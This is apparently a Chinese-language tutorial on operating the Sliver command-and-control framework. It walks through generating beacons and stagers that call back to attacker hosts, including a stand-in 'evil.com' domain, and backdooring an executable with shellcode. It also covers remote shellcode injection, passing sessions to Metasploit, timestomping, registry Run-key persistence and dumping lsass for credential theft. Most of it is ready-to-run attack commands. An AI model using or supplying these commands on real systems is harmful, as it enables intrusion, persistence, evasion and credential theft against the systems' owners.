1. 理论部分

(1)Sliver C2 Protocol

包括 mutual TLS(mTLS)、WireGuard、HTTP(S)、DNS,前两种是官方推荐的常用协议,HTTP 和 DNS 用于较为苛刻的内网环境,出网条件下进行使用的

(2)Listener

Sliver 有四种监听器,mtls、http、wg、dns(需要域名)

(3)Implant

i. Session - 持久连接,重启掉线(一般上线较少用)

我们常常可以由 Beacon spawn Session,看后者 Beacon

ii. Beacon - 异步通信,执行累计的任务,定时回连(同等与 CobaltStrike 的 beacon)

# mTLS
generate beacon --mtls 192.168.5.131[:port] --save /home/kali/Downloads [--os windows|linux|mac]
# Wireguard
generate beacon --wg 192.168.5.131 --os windows
# HTTP
generate beacon --http <ip> --save /home/kali/Downloads [--os windows|linux|mac]
# DNS
generate beacon --dns log.dark5.net --seconds 10 --jitter 0

# Beacon Spawn Session
interactive

iii. 多地址 多协议上线

Sliver 的内网通信方式等同于 CS,而外网增加了 mTLS 和 WireGuard(VPN) 协议,这两种通信方式都很隐蔽,sliver 还支持一个木马多协议轮播循环进行通信上线:

generate beacon --os linux --mtls example.com --http bar1.evil.com --dns baz.shop.com
这个通信协议顺序优先级从高到低依次为 mTLS-->WG-->HTTP(S)-->DNS

(4)Stager

分阶段执行器,从 C2 服务器上下载 Sliver Shellcode,再上线 C2。

Stager 的工作方式基于一个配置文件,其中记载了一个 Implant 的所有定义及配置信息,如下命令创建一个配置文件并监听

profiles new --http ip:port --format shellcode --arch amd64 esuika
http -l port

依托于配置文件创建分阶段监听器

# 二选一
stage-listener --url tcp://192.168.5.131:8443 --profile esuika
stage-listener --url http://192.168.5.131:8443 --profile esuika

生成上线——比如我这边生成 C 语言格式的 Stager 的 Shellcode

generate stager --lhost 192.168.5.131 --lport 8443 --arch amd64 --format C

#format支持的所有格式包括:bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby shvbapplication vbscript

我们也可以不依赖配置文件进行远程加载

generate --mtls ip:8889 --save ./ --skip-symbols -f shellcode --os windows

这样生成的 bin 文件开放在一个 http,再写个加载器远程加载也可以上线了

2. 部署与初始使用

(1)服务端部署(不要在Kali)

sudo curl -q -o- https://sliver.sh/install | sudo bash
wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-server_linux

(2)Listener

我们可以通过 sliver 创建多个监听器,jobs 查看已创建的监听器

删除:jobs -k ID

(3)生成反连木马上线 beacon

generate beacon --mtls vpsip:8889 -S 5

这样就是生成一个回连时间五秒,连接到上面我们 ID 为 1 的监听器的 exe

sessions 和 beacons 命令分别查看已有的 session/beacon

(4)进入 beacon/session

使用 use 可以进入 beacon 或 session 并执行命令

当然为了方便管理,我们可以给 beacon 一个重命名,但对于 Sliver 而言,她的眼中还是 ID 的值

rename -n win11

(5)Beacon 派生 Session

我们常常利用 Beacon spawn Session,从而能够执行更多的功能!

interactive

如上图进入 Session 以后,我们可以执行 shell 获得一个系统的交互性 shell
但是,这个进程链是非常危险的!一定少用!看下图

然而通过 Sliver 执行命令,这个模块(代理程序)是起在对方系统内存中的,调用 Windows 系统的 CreateProcess/ShellExecute 等 API 来执行命令,基于内存执行相对安全。

(6)ShellCode 注入

首先需要创建一个服务的配置文件

profiles new --format shellcode --http 192.168.213.149:8003 profile1

然后就可以注入目标系统上的文件了

backdoor --profile heihei "D:\Notepad.exe"

当然,毒化了的文件很明显

这样子当被注入后的文件每次被运行,我们都会获得一个 Session

ps 看下进程,也可以看到上线的正是我们的 Notepad.exe!

(7)execute-Shellcode

这也是 Session 下的一个功能,我们可以加载落地到目标机的 Shellcode,或者进行远程的 Shellcode 加载(目前笔者不知道这个有什么吊用)

本地的 Shellcode 加载:

execute-shellcode C:\\Users\\Esuika\\Desktop\\payload64.bin

远程的 Shellcode 加载,-S 表示注入到当前进程,而不是另起进程,比较 OPSEC 一些

execute-shellcode -S -r http:ip:port/payload64.bin

(8)execute-assembly

这是一种更加 OPSEC 的做法
比如 execute,不通过 shell 创建 powershell 执行 cmd 命令

execute -o whoami

我们可以通过 execute-assembly 内存执行 .NET 程序(由于这个功能会阻塞通信,当运行耗时较大的 .NET 程序时,最好在 beacon 下运行,而不要在 Session)

execute-assembly evil.exe

(9)Socks5

socks5 是需要开启在 Session 中的

socks5 start -H ip -P 1080

还可以使用 Wireguard 客户端 https://www.wireguard.com/install
只是另一种通信方式,特定场景下可能有用

Sliver 同样可以进行端口转发,屌用没有

portfwd add -r ip:port

3. Sliver 联动 MetaSploit

(1)传 Shell 给 MSF

MSF 开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost ip
set lport 8999
exploit

Sliver 进入一个 session/beacon

msf -L ip -l 8999

(2)msf-inject

注入 msf payload 到特定进程执行

比如这边我们看进程看到有一个 notepad.exe 运行在 8968 的 pid 上

那么我们就可以注入 notepad 进程上线给 msf

msf-inject --pid 8968 -L 192.168.5.159 -l 8999

可以看到现在我们的上线进程是 8968

4. Armory

Armory 除了默认的安装包外,也支持我们自定义编写的BOF和.NET工具,是非常牛逼的一项功能

(1)更新包

armory update

(2)所有军械

armory

(3)快速安装与使用

armory install xxx

5. 多人运动

(1)两种服务端版本

我们前文在服务端的安装有两条命令,分别对应安装的两个客户端
多人运动中我们使用的是二进制文件 ./sliver-server_linux

(2)服务端配置

主要就是生成一个配置文件去进行一个导入

./sliver-server operator --name esuika --lhost IP --save esuika.cfg

server 默认会监听一个端口 31337,我们可以在 ~/.sliver/configs/server.json 自行修改
因为我的 vps 上下载了两款 Sliver,31337 被另一个占用了,我这里演示一下修改为 31338 的方式

除了上面这种方式的修改,我们还可以手动修改生成的配置文件

multiplayer -l 指定 31338 端口,我们的多人运动就开启成功了

(3)客户端导入

kali 安装 Sliver 客户端

proxychains4 wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-client_linux

导入配置文件

./sliver-client import esuika.cfg

那么再次执行我们的客户端就可以看到连入到服务端了

多人运动就此实现

6. 后渗透命令

(1)系统信息

info

(2)Shell 权限

getprivs

(3)文件操作

列目录

ls

读取文件

cat

上传文件

upload

下载文件

download

移动 mv 删除 rm

修改文件的修改时间

chtimes d:\notepad.exe "2024-01-03 23:59:59" "2024-01-03 23:59:59"

(4)看网络连接

netstat

(5)看进程

ps

(6)执行文件/命令

execute -o xxx

(7)注册表维权

registry write -T string --hive HKCU "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" "C\\HISTORICAL_MILLENNIUM.exe"

重启计算机后,Sliver 也是会得到一个 beacon

(8)转储 lsass 进程

ps 定位 pid,然后 procdump 直接转储

procdump --pid 1164 --save lsass.DMP